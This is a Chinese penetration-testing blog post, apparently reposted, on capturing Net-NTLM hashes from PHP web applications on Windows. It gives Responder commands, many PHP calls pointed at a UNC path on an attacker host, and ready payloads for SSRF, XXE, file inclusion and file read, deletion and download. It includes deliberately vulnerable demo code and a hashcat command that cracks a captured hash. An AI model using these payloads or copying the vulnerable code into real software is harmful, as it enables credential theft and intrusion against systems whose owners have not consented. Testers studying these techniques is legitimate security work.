目录:

0x00 写在前面
相信大家也都有看过一些关于获取Net-NTLM Hash文章,但是我感觉利用场景都更偏向于已突破网络边界的情况(比如社工钓鱼/RCE等手段),于是在这篇文章里我针对一些常见的Web场景(PHP+Window)下对获取Net-NTLM Hash姿势的进行了测试,目前自己还未在实战场景测试,不知道效果如何,师傅们就当作扩展思路吧!
0x01 获取Net-NTLM Hash
使用Responder获取Net-NTLM Hash
git clone https://github.com/lgandx/Responder.gitcd Responder/./Responder.py -I eth0 -rv

0x02 可利用的函数
测试了大概20+的函数,这里仅以下面的demo演示效果

01 include()
<?phpinclude '\\\\10.10.10.3\tmp';

02 include_once()
<?phpinclude_once '\\\\10.10.10.3\tmp';

03 require()
<?phprequire '\\\\10.10.10.3\tmp';

04 require_once()
<?phprequire_once '\\\\10.10.10.3\tmp';

05 file_get_contents()
<?php$demo = file_get_contents('\\\\10.10.10.3\tmp');

06 file()
<?php$lines = file('\\\\10.10.10.3\tmp');

07 readfile()
<?php$file = '\\\\10.10.10.3\tmp';readfile($file);

08 file_exists()
<?php$file = '\\\\10.10.10.3\tmp';if (file_exists($file)) {exit;}

09 filesize()
<?php$demo = filesize('\\\\10.10.10.3\tmp');

10 unlink()
<?php$file = '\\\\10.10.10.3\tmp';unlink($file);

11 fopen()
<?php$file = '\\\\10.10.10.3\tmp';fopen($file,'a');

12 is_file()
<?php$file = '\\\\10.10.10.3\tmp';var_dump(is_file($file));

同类函数还有
is_dir()
is_executable()
is_link()
is_readable()
is_uploaded_file()
is_writable()
is_writeable()
13 file_put_contents()
<?php$file = '\\\\10.10.10.3\tmp.txt';file_put_contents($file, 'pen4uin.');

∞ xxx()
可达到以上效果的函数还有很多,这里就不再测试了,重在思路分享。
下面将列举几种实战中可能会出现的场景。
0x03 可能出现的漏洞场景
注:以下只是为了演示效果所以demo代码过于简单
SSRF
demo.php
<?php$location=$_GET['path'];$curl = curl_init($location);curl_exec ($curl);curl_close ($curl);?>
file://

payload
?path=file://\\10.10.10.3\tmp

XXE
靶场
https://github.com/c0ny1/xxe-lab

php://filter
payload
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE a[<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//10.10.10.3/tmp.php">]><user><username>&xxe;</username><password>admin</password></user>

文件包含
demo.php
<?php$file = $_GET['file'];include($file);

payload
?file=\\10.10.10.3\tmp

文件删除
demo.php
<?php$file = $_GET['file'];unlink($file);

文件下载
如果存在一处文件下载的地方,一般会先判断所下载的文件是否存在
demo.php
<?php$filename = $_GET['file'];if(file_exists($filename)){header('location:http://'.$filename);}else{header('HTTP/1.1 404 Not Found');}

文件读取
demo.php
<?php$filename = $_GET['file'];readfile($filename);

0x04 NTLM利用姿势
NTLM利用不是这篇文章的重点,这里分享一下常见的利用方式,感兴趣的师傅可自行研究测试。
利用思路
暴力破解
Relay 中继
SMB
EWS(Exchange)
LDAP
暴力破解
利用hashcat 基于字典进行离线爆破
参数说明
5600 Net-NTLM
hashcat -m 5600 admin::.:88c06d46a5e743c5:FBD01056A7EBB9A06D69857C12D5F9DC:010100000000000000F4AE876EB0D70195F68AC7D41F46370000000002000800320043004B004F0001001E00570049004E002D0045003600380033003000590056004C0035005A00520004003400570049004E002D0045003600380033003000590056004C0035005A0052002E00320043004B004F002E004C004F00430041004C0003001400320043004B004F002E004C004F00430041004C0005001400320043004B004F002E004C004F00430041004C000700080000F4AE876EB0D70106000400020000000800300030000000000000000100000000200000AD34DB253663E6DF661C39C7D5712180BFA6346A77811E487B52B1C40C5853150A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310030002E0033000000000000000000 root/Desktop/Responder/password-top1000.dict --force
如图

tip:
密码字典可以从每一次的项目中累积,毕竟这样更接近于实战场景的需求
pdf地址:
https://github.com/pen4uin/PentestNote/tree/main/Backup
文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




